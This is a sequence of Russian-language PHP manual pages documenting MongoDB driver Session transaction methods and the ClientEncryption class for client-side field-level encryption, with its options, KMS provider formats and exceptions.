There are no user contributed notes for this page.


Возвращает, была ли сессия помечена как грязная

  • « MongoDB\Driver\Session::getTransactionState
  • MongoDB\Driver\Session::isInTransaction »
  • PHP Manual
  • MongoDB\Driver\Session
  • Возвращает, была ли сессия помечена как грязная

MongoDB\Driver\Session::isDirty

(mongodb >=1.13.0)

MongoDB\Driver\Session::isDirty — Возвращает, была ли сессия помечена как грязная

Описание

final public MongoDB\Driver\Session::isDirty(): bool

Возвращает, была ли сессия помечена как грязная (т.е. была ли она использована с командой, которая столкнулась с сетевой ошибкой).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция возвращает, была ли сессия помечена как грязная.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Определяет, происходит ли в данный момент многодокументная транзакция

  • « MongoDB\Driver\Session::isDirty
  • MongoDB\Driver\Session::startTransaction »
  • PHP Manual
  • MongoDB\Driver\Session
  • Определяет, происходит ли в данный момент многодокументная транзакция

MongoDB\Driver\Session::isInTransaction

(mongodb >=1.6.0)

MongoDB\Driver\Session::isInTransaction — Определяет, происходит ли в данный момент многодокументная транзакция

Описание

final public MongoDB\Driver\Session::isInTransaction(): boolean

Определяет, происходит ли в данный момент в текущей сессии многодокументная транзакция. Считается, что транзакция "происходит прямо сейчас", если она была запущена, но пока не была ни подтверждена ни отменена.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true или false.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Session::getTransactionState() - Возвращает статус транзакции для текущей сессии

User Contributed Notes

There are no user contributed notes for this page.


Запускает транзакцию

  • « MongoDB\Driver\Session::isInTransaction
  • MongoDB\Driver\ClientEncryption »
  • PHP Manual
  • MongoDB\Driver\Session
  • Запускает транзакцию

MongoDB\Driver\Session::startTransaction

(mongodb >=1.5.0)

MongoDB\Driver\Session::startTransaction — Запускает транзакцию

Описание

final public MongoDB\Driver\Session::startTransaction(?array $options = null): void

Запускает многодокументную транзакцию, связанную с сеансом. В любой момент времени вы можете иметь не более одной открытой транзакции для сеанса. После запуска транзакции объект сеанса должен быть передан каждой операции с помощью опции "session" (например, MongoDB\Driver\Manager::executeBulkWrite()), чтобы связать эту операцию с транзакцией.

Транзакции могут быть зафиксированы через MongoDB\Driver\Session::commitTransaction() и прерваны с помощью MongoDB\Driver\Session::abortTransaction(). Транзакции также автоматически прерываются, когда сеанс закрывается из сборки мусора или явно вызывается MongoDB\Driver\Session::endSession().

Список параметров

options

Параметры могут быть переданы в качестве аргумента этому методу. Каждый элемент в этом массиве опций переопределяет соответствующую опцию из опции "defaultTransactionOptions", если она установлена при запуске сеанса с MongoDB\Driver\Manager::startSession().

options
Опция Тип Описание
maxCommitTimeMS integer

Максимальный период времени в миллисекундах, в течение которого может выполняться одна команда commitTransaction.

Если указано, maxCommitTimeMS должно быть 32-разрядным целым числом со знаком, большим или равным нулю.

readConcern MongoDB\Driver\ReadConcern

Гарантия чтения для применения к операции.

Эта опция доступна в MongoDB 3.2+ и приведёт к исключению во время выполнения, если указана для более старой версии сервера.

readPreference MongoDB\Driver\ReadPreference

Предпочтение чтения, используемая для выбора сервера для выполнения операции.

writeConcern MongoDB\Driver\WriteConcern

Гарантия записи для применения к операции.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выдаёт исключение MongoDB\Driver\Exception\CommandException, если транзакция не может быть запущена из-за проблемы на стороне сервера (например, не удалось получить блокировку).
  • Выдаёт исключение MongoDB\Driver\Exception\RuntimeException, если транзакция не может быть запущена (например, транзакция уже была запущена).

Список изменений

Версия | Описание
PECL mongodb 1.6.0 | Добавлен параметр "maxCommitTimeMS".

Смотрите также

  • MongoDB\Driver\Manager::startSession() - Запускает новый клиентский сеанс для использования с этим клиентом
  • MongoDB\Driver\Session::commitTransaction() - Фиксирует транзакцию
  • MongoDB\Driver\Session::abortTransaction() - Прерывает транзакцию

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\ClientEncryption

(mongodb >=1.7.0)

Введение

Класс MongoDB\Driver\ClientEncryption обрабатывает как создание ключей шифрования на стороне клиента, так и ручное шифрование/дешифрование.

Обзор классов

final class MongoDB\Driver\ClientEncryption {
/* Constants */
const string AEAD_AES_256_CBC_HMAC_SHA_512_DETERMINISTIC = AEAD_AES_256_CBC_HMAC_SHA_512-Deterministic;
const string AEAD_AES_256_CBC_HMAC_SHA_512_RANDOM = AEAD_AES_256_CBC_HMAC_SHA_512-Random;
const string ALGORITHM_INDEXED = Indexed;
const string ALGORITHM_UNINDEXED = Unindexed;
const string ALGORITHM_RANGE_PREVIEW = RangePreview;
const string QUERY_TYPE_EQUALITY = equality;
const string QUERY_TYPE_RANGE_PREVIEW = rangePreview;
/* Методы */
final public addKeyAltName(MongoDB\BSON\Binary $keyId, string $keyAltName): ?object
final public __construct(array $options)
final public createDataKey(string $kmsProvider, ?array $options = null): MongoDB\BSON\Binary
final public decrypt(MongoDB\BSON\Binary $value): mixed
final public deleteKey(MongoDB\BSON\Binary $keyId): object
final public encrypt(mixed $value, ?array $options = null): MongoDB\BSON\Binary
final public encryptExpression(array|object $expr, ?array $options = null): object
final public getKey(MongoDB\BSON\Binary $keyId): ?object
final public getKeyByAltName(string $keyAltName): ?object
final public getKeys(): MongoDB\Driver\Cursor
final public removeKeyAltName(MongoDB\BSON\Binary $keyId, string $keyAltName): ?object
final public rewrapManyDataKey(array|object $filter, ?array $options = null): object
}

Предопределённые константы

MongoDB\Driver\ClientEncryption::AEAD_AES_256_CBC_HMAC_SHA_512_DETERMINISTIC

Определяет алгоритм для » детерминированного шифрования, который подходит для запросов.

MongoDB\Driver\ClientEncryption::AEAD_AES_256_CBC_HMAC_SHA_512_RANDOM

Определяет алгоритм для » рандомизированного шифрования.

MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED

Определяет алгоритм для индексированной, зашифрованной полезной нагрузки, которая может быть использована с шифрованием с возможностью запроса.

Для добавления или запроса с индексированной, зашифрованной полезной нагрузкой MongoDB\Driver\Manager должен быть настроен с опцией драйвера "autoEncryption". Опция "bypassQueryAnalysis" автоматического шифрования может быть установлена как true. Параметр "bypassAutoEncryption" автоматического шифрования должен быть false.

MongoDB\Driver\ClientEncryption::ALGORITHM_UNINDEXED

Указывает алгоритм для неиндексированной, зашифрованной полезной нагрузки.

MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW

Определяет алгоритм для диапазона, зашифрованной полезной нагрузки, которая может быть использована с шифрованием с возможностью запроса.

Для выполнения запроса с зашифрованной полезной нагрузкой диапазона MongoDB\Driver\Manager должен быть настроен с опцией драйвера "autoEncryption". Опция "bypassQueryAnalysis" автоматического шифрования может быть true. Параметр "bypassAutoEncryption" автоматического шифрования должен быть false.

Замечание:

Алгоритм диапазона является экспериментальным. Он не предназначен для публичного использования.

Драйвер PHP пока не поддерживает запросы диапазона для типов полей decimal128 BSON.

MongoDB\Driver\ClientEncryption::QUERY_TYPE_EQUALITY

Определяет тип запроса равенства, который используется в сочетании с MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED.

MongoDB\Driver\ClientEncryption::QUERY_TYPE_RANGE_PREVIEW

Задаёт тип запроса диапазона, который используется в сочетании с MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW.

Список изменений

Версия | Описание
PECL mongodb 1.16.0 | Добавлены константы MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW и MongoDB\Driver\ClientEncryption::QUERY_TYPE_RANGE_PREVIEW.
PECL mongodb 1.14.0 | Добавлены константы MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED, MongoDB\Driver\ClientEncryption::ALGORITHM_UNINDEXED и MongoDB\Driver\ClientEncryption::QUERY_TYPE_EQUALITY.

Смотрите также

  • MongoDB\Driver\Manager::createClientEncryption()

Содержание

  • MongoDB\Driver\ClientEncryption::addKeyAltName — Добавляет альтернативное имя к документу с ключом
  • MongoDB\Driver\ClientEncryption::__construct — Создаёт новый объект ClientEncryption
  • MongoDB\Driver\ClientEncryption::createDataKey — Создаёт документ с ключом
  • MongoDB\Driver\ClientEncryption::decrypt — Расшифровать данных
  • MongoDB\Driver\ClientEncryption::deleteKey — Удаляет документ с ключом
  • MongoDB\Driver\ClientEncryption::encrypt — Шифрует данные
  • MongoDB\Driver\ClientEncryption::encryptExpression — Шифрует совпадение или агрегированное выражение
  • MongoDB\Driver\ClientEncryption::getKey — Получает документ с ключом
  • MongoDB\Driver\ClientEncryption::getKeyByAltName — Получает документ с ключом по альтернативному имени
  • MongoDB\Driver\ClientEncryption::getKeys — Получает все документы с ключом
  • MongoDB\Driver\ClientEncryption::removeKeyAltName — Удаляет альтернативное имя из документа с ключом
  • MongoDB\Driver\ClientEncryption::rewrapManyDataKey — Переворачивает ключи данных

User Contributed Notes

There are no user contributed notes for this page.


Добавляет альтернативное имя к документу с ключом

  • « MongoDB\Driver\ClientEncryption
  • MongoDB\Driver\ClientEncryption::__construct »
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Добавляет альтернативное имя к документу с ключом

MongoDB\Driver\ClientEncryption::addKeyAltName

(mongodb >=1.15.0)

MongoDB\Driver\ClientEncryption::addKeyAltName — Добавляет альтернативное имя к документу с ключом

Описание

final public MongoDB\Driver\ClientEncryption::addKeyAltName(MongoDB\BSON\Binary $keyId, string $keyAltName): ?object

Добавляет параметр keyAltName в набор альтернативных имён для документа с ключом с заданным UUID keyId.

Список параметров

keyId

Экземпляр MongoDB\BSON\Binary с подтипом 4 (UUID), идентифицирующий документ с ключом.

keyAltName

Альтернативное имя для добавления в документ с ключом.

Возвращаемые значения

Возвращает предыдущую версию документа с ключом или null, если ни один документ не был найден.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • Выбрасывает исключение MongoDB\Driver\Exception\RuntimeException в случае возникновения прочих ошибок.

Смотрите также

  • MongoDB\Driver\ClientEncryption::getKeyByAltName() - Получает документ с ключом по альтернативному имени
  • MongoDB\Driver\ClientEncryption::removeKeyAltName() - Удаляет альтернативное имя из документа с ключом

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект ClientEncryption

  • « MongoDB\Driver\ClientEncryption::addKeyAltName
  • MongoDB\Driver\ClientEncryption::createDataKey »
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Создаёт новый объект ClientEncryption

MongoDB\Driver\ClientEncryption::__construct

(mongodb >=1.14.0)

MongoDB\Driver\ClientEncryption::__construct — Создаёт новый объект ClientEncryption

Описание

final public MongoDB\Driver\ClientEncryption::__construct(array $options)

Создаёт новый объект MongoDB\Driver\ClientEncryption с указанными опциями.

Список параметров

options

Опции
Опция | Тип | Описание
keyVaultClient | MongoDB\Driver\Manager | Менеджер, используемый для маршрутизации запросов ключей данных. Опция является обязательной (в отличие от функции MongoDB\Driver\Manager::createClientEncryption()).
keyVaultNamespace | string | Полное пространство имён (например, "databaseName.collectionName"), обозначающее коллекцию, которая содержит все ключи данных, используемые для шифрования и дешифрования. Обязательный параметр.
kmsProviders array

Документ, содержащий конфигурацию для одного или нескольких провайдеров KMS, которые используются для шифрования ключей данных. Поддерживаются провайдеры "aws", "azure", "gcp" и "local", и, по крайней мере, один из них должен быть указан.

Если для "aws", "azure" или "gcp" указан пустой документ, драйвер попытается сконфигурировать провайдера, используя » Автоматические учётные данные.

Формат для "aws" выглядит следующим образом:

aws: {
    accessKeyId: <string>,
    secretAccessKey: <string>,
    sessionToken: <optional string>
}

Формат для "azure" выглядит следующим образом:

azure: {
    tenantId: <string>,
    clientId: <string>,
    clientSecret: <string>,
    identityPlatformEndpoint: <optional string> // По умолчанию "login.microsoftonline.com"

}

Формат для "gcp" выглядит следующим образом:

gcp: {
    email: <string>,
    privateKey: <base64 string>|<MongoDB\BSON\Binary>,
    endpoint: <optional string> // По умолчанию "oauth2.googleapis.com"

}

Формат для "kmip" выглядит следующим образом:

kmip: {
    endpoint: <string>
}

Формат для "local" выглядит следующим образом:

local: {
    // 96-байтовый главный ключ, используемый для шифрования/дешифрования ключей данных
    key: <base64 string>|<MongoDB\BSON\Binary>
}
tlsOptions array

Документ, содержащий конфигурацию TLS для одного или нескольких KMS провайдеров. Поддерживаются провайдеры "aws", "azure", "gcp" и "kmip". Все провайдеры поддерживают следующие опции:

<provider>: {
    tlsCaFile: <optional string>,
    tlsCertificateKeyFile: <optional string>,
    tlsCertificateKeyFilePassword: <optional string>,
    tlsDisableOCSPEndpointCheck: <optional bool>
}

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает исключение MongoDB\Driver\Exception\RuntimeException, если модуль был скомпилирован без поддержки libmongocrypt.

Список изменений

Версия | Описание
PECL mongodb 1.16.0 | Провайдер AWS KMS для шифрования на стороне клиента теперь принимает параметр "sessionToken", который можно использовать для аутентификации с временными учётными данными AWS. Добавлена поддержка "tlsDisableOCSPEndpointCheck" в опцию "tlsOptions".

Смотрите также

  • MongoDB\Driver\Manager::createClientEncryption() - Создание нового объекта ClientEncryption
  • » Явное (ручное) шифрование уровня полей на стороне клиента в руководстве по MongoDB

User Contributed Notes

There are no user contributed notes for this page.


Создаёт документ с ключом

  • « MongoDB\Driver\ClientEncryption::__construct
  • MongoDB\Driver\ClientEncryption::decrypt »
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Создаёт документ с ключом

MongoDB\Driver\ClientEncryption::createDataKey

(mongodb >=1.7.0)

MongoDB\Driver\ClientEncryption::createDataKey — Создаёт документ с ключом

Описание

final public MongoDB\Driver\ClientEncryption::createDataKey(string $kmsProvider, ?array $options = null): MongoDB\BSON\Binary

Создаёт новый документ с ключом шифрования и кладёт его в коллекцию хранилища ключей.

Список параметров

kmsProvider

Провайдер KMS ("local", "aws"), который будет использоваться для шифрования нового ключа данных.

options

Опции
Опция Тип Описание
masterKey array

Документ masterKey определяет специфический для KMS ключ, используемый для шифрования нового ключа данных. Параметр обязателен, если параметр kmsProvider не является "local".

Параметры провайдера "aws"
Параметр | Тип | Описание
region | Строка | Обязательный.
key | Строка | Обязательный. Имя ресурса Amazon (ARN) для главного ключа клиента AWS (CMK).
endpoint | Строка | Необязательный. Альтернативный идентификатор хоста для отправки запросов KMS. Может содержать номер порта.

Параметры провайдера "azure"
Параметр | Тип | Описание
keyVaultEndpoint | Строка | Обязательный. Хост с необязательным портом (например, "example.vault.azure.net").
keyName | Строка | Обязательный.
keyVersion | Строка | Необязательный. Определённая версия именованного ключа. По умолчанию используется первичная версия ключа.

Параметры провайдера "gcp"
Параметр | Тип | Описание
projectId | Строка | Обязательный.
location | Строка | Обязательный.
keyRing | Строка | Обязательный.
keyName | Строка | Обязательный.
keyVersion | Строка | Необязательный. Определённая версия именованного ключа. По умолчанию используется первичная версия ключа.
endpoint | Строка | Необязательный. Хост с дополнительным портом. По умолчанию "cloudkms.googleapis.com"..

Параметры провайдера "kmip"
Параметр | Тип | Описание
keyId | Строка | Необязательный. Уникальный идентификатор 96-байтового управляемого объекта секретных данных KMIP. Если не указан, драйвер создаёт случайный 96-байтовый управляемый объект секретных данных KMIP.
endpoint | Строка | Необязательный. Хост с дополнительным портом.

keyAltNames array

Опциональный список альтернативных имён использующихся для ссылки на ключ. Если ключ создан с использованием альтернативных имён, то при шифровании можно ссылаться на уникальное альтернативное имя вместо _id.

keyMaterial MongoDB\BSON\Binary

Необязательное 96-байтовое значение для использования в качестве материала пользовательского ключа для создаваемого ключа данных. Если задан keyMaterial, то используется пользовательский материал ключа для шифрования и расшифровки данных. В противном случае материал ключа для нового ключа данных генерируется из криптографически защищённого случайного устройства.

Возвращаемые значения

Возвращает идентификатор нового ключа в виде объекта MongoDB\BSON\Binary с подтипом 4 (UUID).

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • Выбрасывает исключение MongoDB\Driver\Exception\RuntimeException в случае возникновения других ошибок.

Список изменений

Версия | Описание
PECL mongodb 1.15.0 | Добавлена опция "keyMaterial".
PECL mongodb 1.10.0 | В качестве поставщиков KMS для шифрования на стороне клиента теперь поддерживаются Azure и GCP.

User Contributed Notes

There are no user contributed notes for this page.


Расшифровать данных

  • « MongoDB\Driver\ClientEncryption::createDataKey
  • MongoDB\Driver\ClientEncryption::deleteKey »
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Расшифровать данных

MongoDB\Driver\ClientEncryption::decrypt

(mongodb >=1.7.0)

MongoDB\Driver\ClientEncryption::decrypt — Расшифровать данных

Описание

final public MongoDB\Driver\ClientEncryption::decrypt(MongoDB\BSON\Binary $value): mixed

Расшифровывает значение.

Список параметров

value

Объект класса MongoDB\BSON\Binary с подтипом 6, содержащий зашифрованные данные.

Возвращаемые значения

Возвращает расшифрованные данные в том виде, как они были переданы в MongoDB\Driver\ClientEncryption::encrypt().

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Бросает исключение MongoDB\Driver\Exception\EncryptionException если в процессе дешифровки произошла ошибка

Смотрите также

  • MongoDB\Driver\ClientEncryption::encrypt() - Шифрует данные

User Contributed Notes

There are no user contributed notes for this page.


Удаляет документ с ключом

  • « MongoDB\Driver\ClientEncryption::decrypt
  • MongoDB\Driver\ClientEncryption::encrypt »
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Удаляет документ с ключом

MongoDB\Driver\ClientEncryption::deleteKey

(mongodb >=1.15.0)

MongoDB\Driver\ClientEncryption::deleteKey — Удаляет документ с ключом

Описание

final public MongoDB\Driver\ClientEncryption::deleteKey(MongoDB\BSON\Binary $keyId): object

Удаляет документ с ключом с заданным UUID keyId из коллекции хранилища ключей.

Список параметров

keyId

Экземпляр MongoDB\BSON\Binary с подтипом 4 (UUID), идентифицирующий документ с ключом.

Возвращаемые значения

Возвращает результат внутренней операции deleteOne над коллекцией хранилища ключей.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • Выбрасывает исключение MongoDB\Driver\Exception\RuntimeException в случае возникновения прочих ошибок.

User Contributed Notes

There are no user contributed notes for this page.


Шифрует данные

  • « MongoDB\Driver\ClientEncryption::deleteKey
  • MongoDB\Driver\ClientEncryption::encryptExpression »
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Шифрует данные

MongoDB\Driver\ClientEncryption::encrypt

(mongodb >=1.7.0)

MongoDB\Driver\ClientEncryption::encrypt — Шифрует данные

Описание

final public MongoDB\Driver\ClientEncryption::encrypt(mixed $value, ?array $options = null): MongoDB\BSON\Binary

Шифрует данные.

Список параметров

value

Значение для шифрования. Метод может зашифровать любые данные, которые могут быть записаны в MongoDB.

options

Encryption options
Опция Тип Описание
algorithm string

Алгоритм шифрования, который будет использоваться. Опция является обязательной. Укажите одну из следующих констант ClientEncryption:

  • MongoDB\Driver\ClientEncryption::AEAD_AES_256_CBC_HMAC_SHA_512_DETERMINISTIC
  • MongoDB\Driver\ClientEncryption::AEAD_AES_256_CBC_HMAC_SHA_512_RANDOM
  • MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED
  • MongoDB\Driver\ClientEncryption::ALGORITHM_UNINDEXED
  • MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW
contentionFactor int

Коэффициент сдерживания при оценке запросов с индексированными, зашифрованными полезными нагрузками.

Опция применяется и может быть указана только тогда, когда опция algorithm равна MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED или MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW.

keyAltName string

Идентифицирует документ коллекции хранилища ключей по keyAltName. Опция является взаимоисключающей с keyId и требуется ровно один.

keyId MongoDB\BSON\Binary

Идентифицирует ключ данных по _id. Значением является UUID (двоичный подтип 4). Опция является взаимоисключающей с keyAltName и требуется ровно один.

queryType int

Тип запроса для оценки запросов с индексированными, зашифрованными полезными нагрузками. Укажите одну из следующих констант ClientEncryption:

  • MongoDB\Driver\ClientEncryption::QUERY_TYPE_EQUALITY
  • MongoDB\Driver\ClientEncryption::QUERY_TYPE_RANGE_PREVIEW

Опция применяется и может быть указана только тогда, когда опция algorithm равна MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED или MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW.

rangeOpts array

Опции индекса для шифруемого поля с поддержкой запросов "rangePreview". Приведённые ниже параметры должны соответствовать значениям, установленным в encryptedFields целевой коллекции. Для полей типа double и decimal128 BSON, min, max и precision должны быть либо все установлены, либо все должны отсутствовать.

Опции индекса диапазона
Опция | Тип | Описание
min | mixed | Обязательное, если установлено значение precision.
max | mixed | Обязательное, если установлено значение precision.
sparsity | int | Обязательное.
precision | int | Необязательное. Может быть установлено только для типов полей BSON double или decimal128.

Возвращаемые значения

Возвращает зашифрованные данные в виде объекта MongoDB\BSON\Binary с подтипом 6.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает исключение MongoDB\Driver\Exception\EncryptionException если при шифровании возникла ошибка

Список изменений

Версия | Описание
PECL mongodb 1.14.0 | Добавлены опции "contentionFactor" и "queryType".

Смотрите также

  • MongoDB\Driver\ClientEncryption::decrypt() - Расшифровать данных

User Contributed Notes

There are no user contributed notes for this page.


Шифрует совпадение или агрегированное выражение

  • « MongoDB\Driver\ClientEncryption::encrypt
  • MongoDB\Driver\ClientEncryption::getKey »
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Шифрует совпадение или агрегированное выражение

MongoDB\Driver\ClientEncryption::encryptExpression

(mongodb >=1.16.0)

MongoDB\Driver\ClientEncryption::encryptExpression — Шифрует совпадение или агрегированное выражение

Описание

final public MongoDB\Driver\ClientEncryption::encryptExpression(array|object $expr, ?array $options = null): object

Шифрует совпадение или агрегированное выражение для запроса индекса диапазона.

Для выполнения запроса с зашифрованным диапазоном полезной нагрузки драйвер MongoDB\Driver\Manager должен быть сконфигурирован с опцией "autoEncryption". Опция "bypassQueryAnalysis" автоматического шифрования может иметь значение true. Опция "bypassAutoEncryption" автоматического шифрования должна иметь значение false.

Замечание:

Алгоритм работы с диапазоном является экспериментальным. Он не предназначен для публичного использования.

Драйвер PHP пока не поддерживает запросы диапазонов для типов полей decimal128 BSON.

Список параметров

expr

Соответствие или агрегированное выражение, которое необходимо зашифровать. В выражениях должен использоваться хотя бы один из операторов $gt, $gte, $lt или $lte. Оператор верхнего уровня $and необходим, даже если используется только один оператор сравнения.

Пример поддерживаемого выражения соответствия (применяется для запросов и этапа агрегации $match) выглядит следующим образом:

[
    '$and' => [
        [ '<field>' => [ '$gt'  => '<value1>' ] ],
        [ '<field>' => [ '$lte' => '<value2>' ] ],
    ],
]

Пример поддерживаемого агрегированного выражения выглядит следующим образом:

[
    '$and' => [
        [ '$gte' => [ '<fieldPath>', '<value1>' ] ],
        [ '$lt'  => [ '<fieldPath>', '<value2>' ] ],
    ],
]
options

Encryption options
Опция Тип Описание
algorithm string

Алгоритм шифрования, который будет использоваться. Опция является обязательной. Укажите одну из следующих констант ClientEncryption:

  • MongoDB\Driver\ClientEncryption::AEAD_AES_256_CBC_HMAC_SHA_512_DETERMINISTIC
  • MongoDB\Driver\ClientEncryption::AEAD_AES_256_CBC_HMAC_SHA_512_RANDOM
  • MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED
  • MongoDB\Driver\ClientEncryption::ALGORITHM_UNINDEXED
  • MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW
contentionFactor int

Коэффициент сдерживания при оценке запросов с индексированными, зашифрованными полезными нагрузками.

Опция применяется и может быть указана только тогда, когда опция algorithm равна MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED или MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW.

keyAltName string

Идентифицирует документ коллекции хранилища ключей по keyAltName. Опция является взаимоисключающей с keyId и требуется ровно один.

keyId MongoDB\BSON\Binary

Идентифицирует ключ данных по _id. Значением является UUID (двоичный подтип 4). Опция является взаимоисключающей с keyAltName и требуется ровно один.

queryType int

Тип запроса для оценки запросов с индексированными, зашифрованными полезными нагрузками. Укажите одну из следующих констант ClientEncryption:

  • MongoDB\Driver\ClientEncryption::QUERY_TYPE_EQUALITY
  • MongoDB\Driver\ClientEncryption::QUERY_TYPE_RANGE_PREVIEW

Опция применяется и может быть указана только тогда, когда опция algorithm равна MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED или MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW.

rangeOpts array

Опции индекса для шифруемого поля с поддержкой запросов "rangePreview". Приведённые ниже параметры должны соответствовать значениям, установленным в encryptedFields целевой коллекции. Для полей типа double и decimal128 BSON, min, max и precision должны быть либо все установлены, либо все должны отсутствовать.

Опции индекса диапазона
Опция | Тип | Описание
min | mixed | Обязательное, если установлено значение precision.
max | mixed | Обязательное, если установлено значение precision.
sparsity | int | Обязательное.
precision | int | Необязательное. Может быть установлено только для типов полей BSON double или decimal128.

Возвращаемые значения

Возвращает зашифрованное выражение в виде объекта.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает исключение MongoDB\Driver\Exception\EncryptionException в случае возникновения ошибки при шифровании выражения.

Смотрите также

  • MongoDB\Driver\Manager::__construct() - Создаёт новый Manager MongoDB

User Contributed Notes

There are no user contributed notes for this page.


Получает документ с ключом

  • « MongoDB\Driver\ClientEncryption::encryptExpression
  • MongoDB\Driver\ClientEncryption::getKeyByAltName »
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Получает документ с ключом

MongoDB\Driver\ClientEncryption::getKey

(mongodb >=1.15.0)

MongoDB\Driver\ClientEncryption::getKey — Получает документ с ключом

Описание

final public MongoDB\Driver\ClientEncryption::getKey(MongoDB\BSON\Binary $keyId): ?object

Находит единственный документ с ключом в коллекции хранилища ключей с заданным UUID keyId.

Список параметров

keyId

Экземпляр MongoDB\BSON\Binary с подтипом 4 (UUID), идентифицирующий документ с ключом.

Возвращаемые значения

Возвращает документ с ключом или null, если ни один документ не совпал.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • Выбрасывает исключение MongoDB\Driver\Exception\RuntimeException в случае возникновения прочих ошибок.

User Contributed Notes

There are no user contributed notes for this page.


Получает документ с ключом по альтернативному имени

  • « MongoDB\Driver\ClientEncryption::getKey
  • MongoDB\Driver\ClientEncryption::getKeys »
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Получает документ с ключом по альтернативному имени

MongoDB\Driver\ClientEncryption::getKeyByAltName

(mongodb >=1.15.0)

MongoDB\Driver\ClientEncryption::getKeyByAltName — Получает документ с ключом по альтернативному имени

Описание

final public MongoDB\Driver\ClientEncryption::getKeyByAltName(string $keyAltName): ?object

Находит единственный документ с ключом в коллекции хранилища ключей с заданным альтернативным именем keyAltName.

Список параметров

keyAltName

Альтернативное имя документа с ключом.

Возвращаемые значения

Возвращает документ с ключом или null, если ни один документ не совпал.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • Выбрасывает исключение MongoDB\Driver\Exception\RuntimeException в случае возникновения прочих ошибок.

Смотрите также

  • MongoDB\Driver\ClientEncryption::addKeyAltName() - Добавляет альтернативное имя к документу с ключом
  • MongoDB\Driver\ClientEncryption::removeKeyAltName() - Удаляет альтернативное имя из документа с ключом

User Contributed Notes

There are no user contributed notes for this page.


Получает все документы с ключом

  • « MongoDB\Driver\ClientEncryption::getKeyByAltName
  • MongoDB\Driver\ClientEncryption::removeKeyAltName »
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Получает все документы с ключом

MongoDB\Driver\ClientEncryption::getKeys

(mongodb >=1.15.0)

MongoDB\Driver\ClientEncryption::getKeys — Получает все документы с ключом

Описание

final public MongoDB\Driver\ClientEncryption::getKeys(): MongoDB\Driver\Cursor

Находит все документы с ключом в коллекции хранилища ключей.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает MongoDB\Driver\Cursor.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
